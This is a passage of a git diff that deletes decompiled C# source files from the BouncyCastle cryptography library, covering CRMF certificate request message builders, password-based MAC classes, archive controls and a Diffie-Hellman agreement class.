_popoType = 2; - - private PopoPrivKey _popoPrivKey; - - private Asn1Null _popRaVerified; - - private PKMacValue _agreeMac; - - public CertificateRequestMessageBuilder(BigInteger certReqId) - { - _certReqId = certReqId; - _extGenerator = new X509ExtensionsGenerator(); - _templateBuilder = new CertTemplateBuilder(); - } - - public CertificateRequestMessageBuilder SetPublicKey(SubjectPublicKeyInfo publicKeyInfo) - { - if (publicKeyInfo != null) - { - _templateBuilder.SetPublicKey(publicKeyInfo); - } - return this; - } - - public CertificateRequestMessageBuilder SetIssuer(X509Name issuer) - { - if (issuer != null) - { - _templateBuilder.SetIssuer(issuer); - } - return this; - } - - public CertificateRequestMessageBuilder SetSubject(X509Name subject) - { - if (subject != null) - { - _templateBuilder.SetSubject(subject); - } - return this; - } - - public CertificateRequestMessageBuilder SetSerialNumber(BigInteger serialNumber) - { - if (serialNumber != null) - { - _templateBuilder.SetSerialNumber(new DerInteger(serialNumber)); - } - return this; - } - - public CertificateRequestMessageBuilder SetValidity(Time notBefore, Time notAfter) - { - _templateBuilder.SetValidity(new OptionalValidity(notBefore, notAfter)); - return this; - } - - public CertificateRequestMessageBuilder AddExtension(DerObjectIdentifier oid, bool critical, Asn1Encodable value) - { - _extGenerator.AddExtension(oid, critical, value); - return this; - } - - public CertificateRequestMessageBuilder AddExtension(DerObjectIdentifier oid, bool critical, byte[] value) - { - _extGenerator.AddExtension(oid, critical, value); - return this; - } - - public CertificateRequestMessageBuilder AddControl(IControl control) - { - _controls.Add(control); - return this; - } - - public CertificateRequestMessageBuilder SetProofOfPossessionSignKeySigner(ISignatureFactory popoSignatureFactory) - { - if (_popoPrivKey != null || _popRaVerified != null || _agreeMac != null) - { - throw new InvalidOperationException("only one proof of possession is allowed."); - } - _popSigner = popoSignatureFactory; - return this; - } - - public CertificateRequestMessageBuilder SetProofOfPossessionSubsequentMessage(SubsequentMessage msg) - { - if (_popoPrivKey != null || _popRaVerified != null || _agreeMac != null) - { - throw new InvalidOperationException("only one proof of possession is allowed."); - } - _popoType = 2; - _popoPrivKey = new PopoPrivKey(msg); - return this; - } - - public CertificateRequestMessageBuilder SetProofOfPossessionSubsequentMessage(int type, SubsequentMessage msg) - { - if (_popoPrivKey != null || _popRaVerified != null || _agreeMac != null) - { - throw new InvalidOperationException("only one proof of possession is allowed."); - } - if (type != 2 && type != 3) - { - throw new ArgumentException("type must be ProofOfPossession.TYPE_KEY_ENCIPHERMENT || ProofOfPossession.TYPE_KEY_AGREEMENT"); - } - _popoType = type; - _popoPrivKey = new PopoPrivKey(msg); - return this; - } - - public CertificateRequestMessageBuilder SetProofOfPossessionAgreeMac(PKMacValue macValue) - { - if (_popSigner != null || _popRaVerified != null || _popoPrivKey != null) - { - throw new InvalidOperationException("only one proof of possession allowed"); - } - _agreeMac = macValue; - return this; - } - - public CertificateRequestMessageBuilder SetProofOfPossessionRaVerified() - { - if (_popSigner != null || _popoPrivKey != null) - { - throw new InvalidOperationException("only one proof of possession allowed"); - } - _popRaVerified = DerNull.Instance; - return this; - } - - public CertificateRequestMessageBuilder SetAuthInfoPKMAC(PKMacBuilder pkmacFactory, char[] password) - { - _pkMacBuilder = pkmacFactory; - _password = password; - return this; - } - - public CertificateRequestMessageBuilder SetAuthInfoSender(X509Name sender) - { - return SetAuthInfoSender(new GeneralName(sender)); - } - - public CertificateRequestMessageBuilder SetAuthInfoSender(GeneralName sender) - { - _sender = sender; - return this; - } - - public CertificateRequestMessage Build() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(new DerInteger(_certReqId)); - if (!_extGenerator.IsEmpty) - { - _templateBuilder.SetExtensions(_extGenerator.Generate()); - } - asn1EncodableVector.Add(_templateBuilder.Build()); - if (_controls.Count > 0) - { - Asn1EncodableVector asn1EncodableVector2 = new Asn1EncodableVector(); - foreach (object control2 in _controls) - { - IControl control = (IControl)control2; - asn1EncodableVector2.Add(new AttributeTypeAndValue(control.Type, control.Value)); - } - asn1EncodableVector.Add(new DerSequence(asn1EncodableVector2)); - } - CertRequest instance = CertRequest.GetInstance(new DerSequence(asn1EncodableVector)); - asn1EncodableVector = new Asn1EncodableVector(instance); - if (_popSigner != null) - { - CertTemplate certTemplate = instance.CertTemplate; - if (certTemplate.Subject == null || certTemplate.PublicKey == null) - { - SubjectPublicKeyInfo publicKey = instance.CertTemplate.PublicKey; - ProofOfPossessionSigningKeyBuilder proofOfPossessionSigningKeyBuilder = new ProofOfPossessionSigningKeyBuilder(publicKey); - if (_sender != null) - { - proofOfPossessionSigningKeyBuilder.SetSender(_sender); - } - else - { - proofOfPossessionSigningKeyBuilder.SetPublicKeyMac(_pkMacBuilder, _password); - } - asn1EncodableVector.Add(new ProofOfPossession(proofOfPossessionSigningKeyBuilder.Build(_popSigner))); - } - else - { - ProofOfPossessionSigningKeyBuilder proofOfPossessionSigningKeyBuilder2 = new ProofOfPossessionSigningKeyBuilder(instance); - asn1EncodableVector.Add(new ProofOfPossession(proofOfPossessionSigningKeyBuilder2.Build(_popSigner))); - } - } - else if (_popoPrivKey != null) - { - asn1EncodableVector.Add(new ProofOfPossession(_popoType, _popoPrivKey)); - } - else if (_agreeMac != null) - { - asn1EncodableVector.Add(new ProofOfPossession(3, PopoPrivKey.GetInstance(new DerTaggedObject(explicitly: false, 3, _agreeMac), isExplicit: true))); - } - else if (_popRaVerified != null) - { - asn1EncodableVector.Add(new ProofOfPossession()); - } - return new CertificateRequestMessage(CertReqMsg.GetInstance(new DerSequence(asn1EncodableVector))); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/CrmfException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/CrmfException.cs deleted file mode 100644 index a861492..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/CrmfException.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crmf; - -public class CrmfException : Exception -{ - public CrmfException() - { - } - - public CrmfException(string message) - : base(message) - { - } - - public CrmfException(string message, Exception innerException) - : base(message, innerException) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/DefaultPKMacPrimitivesProvider.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/DefaultPKMacPrimitivesProvider.cs deleted file mode 100644 index 0630742..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/DefaultPKMacPrimitivesProvider.cs +++ /dev/null @@ -1,18 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crmf; - -public class DefaultPKMacPrimitivesProvider : IPKMacPrimitivesProvider -{ - public IDigest CreateDigest(AlgorithmIdentifier digestAlg) - { - return DigestUtilities.GetDigest(digestAlg.Algorithm); - } - - public IMac CreateMac(AlgorithmIdentifier macAlg) - { - return MacUtilities.GetMac(macAlg.Algorithm); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/DefaultPKMacResult.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/DefaultPKMacResult.cs deleted file mode 100644 index 21e4786..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/DefaultPKMacResult.cs +++ /dev/null @@ -1,27 +0,0 @@ -using Org.BouncyCastle.Crypto; - -namespace Org.BouncyCastle.Crmf; - -internal class DefaultPKMacResult : IBlockResult -{ - private readonly IMac mac; - - public DefaultPKMacResult(IMac mac) - { - this.mac = mac; - } - - public byte[] Collect() - { - byte[] array = new byte[mac.GetMacSize()]; - mac.DoFinal(array, 0); - return array; - } - - public int Collect(byte[] sig, int sigOff) - { - byte[] array = Collect(); - array.CopyTo(sig, sigOff); - return array.Length; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/EncryptedValueBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/EncryptedValueBuilder.cs deleted file mode 100644 index 46a17ad..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/EncryptedValueBuilder.cs +++ /dev/null @@ -1,110 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Pkcs; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Crmf; - -public class EncryptedValueBuilder -{ - private readonly IKeyWrapper wrapper; - - private readonly ICipherBuilderWithKey encryptor; - - private readonly IEncryptedValuePadder padder; - - public EncryptedValueBuilder(IKeyWrapper wrapper, ICipherBuilderWithKey encryptor) - : this(wrapper, encryptor, null) - { - } - - public EncryptedValueBuilder(IKeyWrapper wrapper, ICipherBuilderWithKey encryptor, IEncryptedValuePadder padder) - { - this.wrapper = wrapper; - this.encryptor = encryptor; - this.padder = padder; - } - - public EncryptedValue Build(char[] revocationPassphrase) - { - return EncryptData(PadData(Strings.ToUtf8ByteArray(revocationPassphrase))); - } - - public EncryptedValue Build(X509Certificate holder) - { - try - { - return EncryptData(PadData(holder.GetEncoded())); - } - catch (IOException ex) - { - throw new CrmfException("cannot encode certificate: " + ex.Message, ex); - } - } - - public EncryptedValue Build(PrivateKeyInfo privateKeyInfo) - { - Pkcs8EncryptedPrivateKeyInfoBuilder pkcs8EncryptedPrivateKeyInfoBuilder = new Pkcs8EncryptedPrivateKeyInfoBuilder(privateKeyInfo); - AlgorithmIdentifier privateKeyAlgorithm = privateKeyInfo.PrivateKeyAlgorithm; - AlgorithmIdentifier symmAlg = (AlgorithmIdentifier)encryptor.AlgorithmDetails; - try - { - Pkcs8EncryptedPrivateKeyInfo pkcs8EncryptedPrivateKeyInfo = pkcs8EncryptedPrivateKeyInfoBuilder.Build(encryptor); - DerBitString encSymmKey = new DerBitString(wrapper.Wrap(((KeyParameter)encryptor.Key).GetKey()).Collect()); - AlgorithmIdentifier keyAlg = (AlgorithmIdentifier)wrapper.AlgorithmDetails; - Asn1OctetString valueHint = null; - return new EncryptedValue(privateKeyAlgorithm, symmAlg, encSymmKey, keyAlg, valueHint, new DerBitString(pkcs8EncryptedPrivateKeyInfo.GetEncryptedData())); - } - catch (Exception ex) - { - throw new CrmfException("cannot wrap key: " + ex.Message, ex); - } - } - - private EncryptedValue EncryptData(byte[] data) - { - MemoryOutputStream memoryOutputStream = new MemoryOutputStream(); - Stream stream = encryptor.BuildCipher(memoryOutputStream).Stream; - try - { - stream.Write(data, 0, data.Length); - stream.Close(); - } - catch (IOException ex) - { - throw new CrmfException("cannot process data: " + ex.Message, ex); - } - AlgorithmIdentifier intendedAlg = null; - AlgorithmIdentifier symmAlg = (AlgorithmIdentifier)encryptor.AlgorithmDetails; - DerBitString encSymmKey; - try - { - encSymmKey = new DerBitString(wrapper.Wrap(((KeyParameter)encryptor.Key).GetKey()).Collect()); - } - catch (Exception ex2) - { - throw new CrmfException("cannot wrap key: " + ex2.Message, ex2); - } - AlgorithmIdentifier keyAlg = (AlgorithmIdentifier)wrapper.AlgorithmDetails; - Asn1OctetString valueHint = null; - DerBitString encValue = new DerBitString(memoryOutputStream.ToArray()); - return new EncryptedValue(intendedAlg, symmAlg, encSymmKey, keyAlg, valueHint, encValue); - } - - private byte[] PadData(byte[] data) - { - if (padder != null) - { - return padder.GetPaddedData(data); - } - return data; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/IControl.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/IControl.cs deleted file mode 100644 index 1d1aaed..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/IControl.cs +++ /dev/null @@ -1,10 +0,0 @@ -using Org.BouncyCastle.Asn1; - -namespace Org.BouncyCastle.Crmf; - -public interface IControl -{ - DerObjectIdentifier Type { get; } - - Asn1Encodable Value { get; } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/IEncryptedValuePadder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/IEncryptedValuePadder.cs deleted file mode 100644 index a6fd7ca..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/IEncryptedValuePadder.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crmf; - -public interface IEncryptedValuePadder -{ - byte[] GetPaddedData(byte[] data); - - byte[] GetUnpaddedData(byte[] paddedData); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/IPKMacPrimitivesProvider.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/IPKMacPrimitivesProvider.cs deleted file mode 100644 index 0c8f675..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/IPKMacPrimitivesProvider.cs +++ /dev/null @@ -1,11 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; - -namespace Org.BouncyCastle.Crmf; - -public interface IPKMacPrimitivesProvider -{ - IDigest CreateDigest(AlgorithmIdentifier digestAlg); - - IMac CreateMac(AlgorithmIdentifier macAlg); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PKMacBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PKMacBuilder.cs deleted file mode 100644 index 69cb204..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PKMacBuilder.cs +++ /dev/null @@ -1,139 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Asn1.Iana; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crmf; - -public class PKMacBuilder -{ - private AlgorithmIdentifier owf; - - private AlgorithmIdentifier mac; - - private IPKMacPrimitivesProvider provider; - - private SecureRandom random; - - private PbmParameter parameters; - - private int iterationCount; - - private int saltLength; - - private byte[] salt; - - private int maxIterations; - - public PKMacBuilder() - : this(new AlgorithmIdentifier(OiwObjectIdentifiers.IdSha1), 1000, new AlgorithmIdentifier(IanaObjectIdentifiers.HmacSha1, DerNull.Instance), new DefaultPKMacPrimitivesProvider()) - { - } - - public PKMacBuilder(IPKMacPrimitivesProvider provider) - : this(new AlgorithmIdentifier(OiwObjectIdentifiers.IdSha1), 1000, new AlgorithmIdentifier(IanaObjectIdentifiers.HmacSha1, DerNull.Instance), provider) - { - } - - public PKMacBuilder(IPKMacPrimitivesProvider provider, AlgorithmIdentifier digestAlgorithmIdentifier, AlgorithmIdentifier macAlgorithmIdentifier) - : this(digestAlgorithmIdentifier, 1000, macAlgorithmIdentifier, provider) - { - } - - public PKMacBuilder(IPKMacPrimitivesProvider provider, int maxIterations) - { - this.provider = provider; - this.maxIterations = maxIterations; - } - - private PKMacBuilder(AlgorithmIdentifier digestAlgorithmIdentifier, int iterationCount, AlgorithmIdentifier macAlgorithmIdentifier, IPKMacPrimitivesProvider provider) - { - this.iterationCount = iterationCount; - mac = macAlgorithmIdentifier; - owf = digestAlgorithmIdentifier; - this.provider = provider; - } - - public PKMacBuilder SetSaltLength(int saltLength) - { - if (saltLength < 8) - { - throw new ArgumentException("salt length must be at least 8 bytes"); - } - this.saltLength = saltLength; - return this; - } - - public PKMacBuilder SetIterationCount(int iterationCount) - { - if (iterationCount < 100) - { - throw new ArgumentException("iteration count must be at least 100"); - } - CheckIterationCountCeiling(iterationCount); - this.iterationCount = iterationCount; - return this; - } - - public PKMacBuilder SetParameters(PbmParameter parameters) - { - CheckIterationCountCeiling(parameters.IterationCount.Value.IntValue); - this.parameters = parameters; - return this; - } - - public PKMacBuilder SetSecureRandom(SecureRandom random) - { - this.random = random; - return this; - } - - public IMacFactory Build(char[] password) - { - if (parameters != null) - { - return GenCalculator(parameters, password); - } - byte[] buffer = new byte[saltLength]; - if (random == null) - { - random = new SecureRandom(); - } - random.NextBytes(buffer); - return GenCalculator(new PbmParameter(buffer, owf, iterationCount, mac), password); - } - - private void CheckIterationCountCeiling(int iterationCount) - { - if (maxIterations > 0 && iterationCount > maxIterations) - { - throw new ArgumentException("iteration count exceeds limit (" + iterationCount + " > " + maxIterations + ")"); - } - } - - private IMacFactory GenCalculator(PbmParameter parameters, char[] password) - { - byte[] array = Strings.ToUtf8ByteArray(password); - byte[] octets = parameters.Salt.GetOctets(); - byte[] array2 = new byte[array.Length + octets.Length]; - Array.Copy(array, 0, array2, 0, array.Length); - Array.Copy(octets, 0, array2, array.Length, octets.Length); - IDigest digest = provider.CreateDigest(parameters.Owf); - int num = parameters.IterationCount.Value.IntValue; - digest.BlockUpdate(array2, 0, array2.Length); - array2 = new byte[digest.GetDigestSize()]; - digest.DoFinal(array2, 0); - while (--num > 0) - { - digest.BlockUpdate(array2, 0, array2.Length); - digest.DoFinal(array2, 0); - } - byte[] key = array2; - return new PKMacFactory(key, parameters); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PKMacFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PKMacFactory.cs deleted file mode 100644 index 2794135..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PKMacFactory.cs +++ /dev/null @@ -1,30 +0,0 @@ -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crmf; - -internal class PKMacFactory : IMacFactory -{ - protected readonly PbmParameter parameters; - - private readonly byte[] key; - - public virtual object AlgorithmDetails => new AlgorithmIdentifier(CmpObjectIdentifiers.passwordBasedMac, parameters); - - public PKMacFactory(byte[] key, PbmParameter parameters) - { - this.key = Arrays.Clone(key); - this.parameters = parameters; - } - - public virtual IStreamCalculator CreateCalculator() - { - IMac mac = MacUtilities.GetMac(parameters.Mac.Algorithm); - mac.Init(new KeyParameter(key)); - return new PKMacStreamCalculator(mac); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PKMacStreamCalculator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PKMacStreamCalculator.cs deleted file mode 100644 index a21c4eb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PKMacStreamCalculator.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.IO; - -namespace Org.BouncyCastle.Crmf; - -internal class PKMacStreamCalculator : IStreamCalculator -{ - private readonly MacSink _stream; - - public Stream Stream => _stream; - - public PKMacStreamCalculator(IMac mac) - { - _stream = new MacSink(mac); - } - - public object GetResult() - { - return new DefaultPKMacResult(_stream.Mac); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PkiArchiveControl.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PkiArchiveControl.cs deleted file mode 100644 index f84e7e4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PkiArchiveControl.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Cms; - -namespace Org.BouncyCastle.Crmf; - -public class PkiArchiveControl : IControl -{ - public static readonly int encryptedPrivKey = 0; - - public static readonly int keyGenParameters = 1; - - public static readonly int archiveRemGenPrivKey = 2; - - private static readonly DerObjectIdentifier type = CrmfObjectIdentifiers.id_regCtrl_pkiArchiveOptions; - - private readonly PkiArchiveOptions pkiArchiveOptions; - - public DerObjectIdentifier Type => type; - - public Asn1Encodable Value => pkiArchiveOptions; - - public int ArchiveType => pkiArchiveOptions.Type; - - public bool EnvelopedData - { - get - { - EncryptedKey instance = EncryptedKey.GetInstance(pkiArchiveOptions.Value); - return !instance.IsEncryptedValue; - } - } - - public PkiArchiveControl(PkiArchiveOptions pkiArchiveOptions) - { - this.pkiArchiveOptions = pkiArchiveOptions; - } - - public CmsEnvelopedData GetEnvelopedData() - { - try - { - EncryptedKey instance = EncryptedKey.GetInstance(pkiArchiveOptions.Value); - EnvelopedData instance2 = Org.BouncyCastle.Asn1.Cms.EnvelopedData.GetInstance(instance.Value); - return new CmsEnvelopedData(new ContentInfo(CmsObjectIdentifiers.EnvelopedData, instance2)); - } - catch (CmsException ex) - { - throw new CrmfException("CMS parsing error: " + ex.Message, ex); - } - catch (Exception ex2) - { - throw new CrmfException("CRMF parsing error: " + ex2.Message, ex2); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PkiArchiveControlBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PkiArchiveControlBuilder.cs deleted file mode 100644 index 79e0b31..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/PkiArchiveControlBuilder.cs +++ /dev/null @@ -1,44 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Cms; -using Org.BouncyCastle.Crypto; - -namespace Org.BouncyCastle.Crmf; - -public class PkiArchiveControlBuilder -{ - private CmsEnvelopedDataGenerator envGen; - - private CmsProcessableByteArray keyContent; - - public PkiArchiveControlBuilder(PrivateKeyInfo privateKeyInfo, GeneralName generalName) - { - EncKeyWithID encKeyWithID = new EncKeyWithID(privateKeyInfo, generalName); - try - { - keyContent = new CmsProcessableByteArray(CrmfObjectIdentifiers.id_ct_encKeyWithID, encKeyWithID.GetEncoded()); - } - catch (IOException innerException) - { - throw new InvalidOperationException("unable to encode key and general name info", innerException); - } - envGen = new CmsEnvelopedDataGenerator(); - } - - public PkiArchiveControlBuilder AddRecipientGenerator(RecipientInfoGenerator recipientGen) - { - envGen.AddRecipientInfoGenerator(recipientGen); - return this; - } - - public PkiArchiveControl Build(ICipherBuilderWithKey contentEncryptor) - { - CmsEnvelopedData cmsEnvelopedData = envGen.Generate(keyContent, contentEncryptor); - EnvelopedData instance = EnvelopedData.GetInstance(cmsEnvelopedData.ContentInfo.Content); - return new PkiArchiveControl(new PkiArchiveOptions(new EncryptedKey(instance))); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/ProofOfPossessionSigningKeyBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/ProofOfPossessionSigningKeyBuilder.cs deleted file mode 100644 index 0fb433c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/ProofOfPossessionSigningKeyBuilder.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; - -namespace Org.BouncyCastle.Crmf; - -public class ProofOfPossessionSigningKeyBuilder -{ - private CertRequest _certRequest; - - private SubjectPublicKeyInfo _pubKeyInfo; - - private GeneralName _name; - - private PKMacValue _publicKeyMAC; - - public ProofOfPossessionSigningKeyBuilder(CertRequest certRequest) - { - _certRequest = certRequest; - } - - public ProofOfPossessionSigningKeyBuilder(SubjectPublicKeyInfo pubKeyInfo) - { - _pubKeyInfo = pubKeyInfo; - } - - public ProofOfPossessionSigningKeyBuilder SetSender(GeneralName name) - { - _name = name; - return this; - } - - public ProofOfPossessionSigningKeyBuilder SetPublicKeyMac(PKMacBuilder generator, char[] password) - { - IMacFactory macFactory = generator.Build(password); - IStreamCalculator streamCalculator = macFactory.CreateCalculator(); - byte[] derEncoded = _pubKeyInfo.GetDerEncoded(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - streamCalculator.Stream.Flush(); - streamCalculator.Stream.Close(); - _publicKeyMAC = new PKMacValue((AlgorithmIdentifier)macFactory.AlgorithmDetails, new DerBitString(((IBlockResult)streamCalculator.GetResult()).Collect())); - return this; - } - - public PopoSigningKey Build(ISignatureFactory signer) - { - if (_name != null && _publicKeyMAC != null) - { - throw new InvalidOperationException("name and publicKeyMAC cannot both be set."); - } - IStreamCalculator streamCalculator = signer.CreateCalculator(); - PopoSigningKeyInput popoSigningKeyInput; - if (_certRequest != null) - { - popoSigningKeyInput = null; - byte[] derEncoded = _certRequest.GetDerEncoded(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - } - else if (_name != null) - { - popoSigningKeyInput = new PopoSigningKeyInput(_name, _pubKeyInfo); - byte[] derEncoded = popoSigningKeyInput.GetDerEncoded(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - } - else - { - popoSigningKeyInput = new PopoSigningKeyInput(_publicKeyMAC, _pubKeyInfo); - byte[] derEncoded = popoSigningKeyInput.GetDerEncoded(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - } - streamCalculator.Stream.Flush(); - streamCalculator.Stream.Close(); - DefaultSignatureResult defaultSignatureResult = (DefaultSignatureResult)streamCalculator.GetResult(); - return new PopoSigningKey(popoSigningKeyInput, (AlgorithmIdentifier)signer.AlgorithmDetails, new DerBitString(defaultSignatureResult.Collect())); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/RegTokenControl.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/RegTokenControl.cs deleted file mode 100644 index ec7ef31..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/RegTokenControl.cs +++ /dev/null @@ -1,25 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Crmf; - -namespace Org.BouncyCastle.Crmf; - -public class RegTokenControl : IControl -{ - private static readonly DerObjectIdentifier type = CrmfObjectIdentifiers.id_regCtrl_regToken; - - private readonly DerUtf8String token; - - public DerObjectIdentifier Type => type; - - public Asn1Encodable Value => token; - - public RegTokenControl(DerUtf8String token) - { - this.token = token; - } - - public RegTokenControl(string token) - { - this.token = new DerUtf8String(token); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/DHAgreement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/DHAgreement.cs deleted file mode 100644 index 7825039..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/DHAgreement.cs +++ /dev/null @@ -1,77 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Agreement; - -public class DHAgreement -{ - private DHPrivateKeyParameters key; - - private DHParameters dhParams; - - private BigInteger privateValue; - - private SecureRandom random; - - public void Init(ICipherParameters parameters) - { - AsymmetricKeyParameter asymmetricKeyParameter; - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - random = parametersWithRandom.Random; - asymmetricKeyParameter = (AsymmetricKeyParameter)parametersWithRandom.Parameters; - } - else - { - random = new SecureRandom(); - asymmetricKeyParameter = (AsymmetricKeyParameter)parameters; - } - if (!(asymmetricKeyParameter is DHPrivateKeyParameters)) - { - throw new ArgumentException("DHEngine expects DHPrivateKeyParameters"); - } - key = (DHPrivateKeyParameters)asymmetricKeyParameter; - dhParams = key.Parameters; - } - - public BigInteger CalculateMessage() - { - DHKeyPairGenerator dHKeyPairGenerator = new DHKeyPairGenerator(); - dHKeyPairGenerator.Init(new DHKeyGenerationParameters(random, dhParams)); - AsymmetricCipherKeyPair asymmetricCipherKeyPair = dHKeyPairGenerator.GenerateKeyPair(); - privateValue = ((DHPrivateKeyParameters)asymmetricCipherKeyPair.Private).X; - return ((DHPublicKeyParameters)asymmetricCipherKeyPair.Public).Y; - } - - public BigInteger CalculateAgreement(DHPublicKeyParameters pub, BigInteger message) - { - if (pub == null) - { - throw new ArgumentNullException("pub"); - } - if (message == null) - { - throw new ArgumentNullException("message"); - } - if (!pub.Parameters.Equals(dhParams)) - { - throw new ArgumentException("Diffie-Hellman public key has wrong parameters."); - } - BigInteger p = dhParams.P; - BigInteger y = pub.Y; - if (y == null || y.CompareTo(BigInteger.One) <= 0 || y.CompareTo(p.Subtract(BigInteger.One)) >= 0) - { - throw new ArgumentException("Diffie-Hellman public key is weak"); - } - BigInteger bigInteger = y.ModPow(privateValue, p); - if (bigInteger.Equals(BigInteger.One)) - { - throw new InvalidOperationException("Shared key can't be 1"); - } - return message.ModPow(key.X, p).Multiply(bigInteger).Mod(p); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/DHBasicAgreement.cs 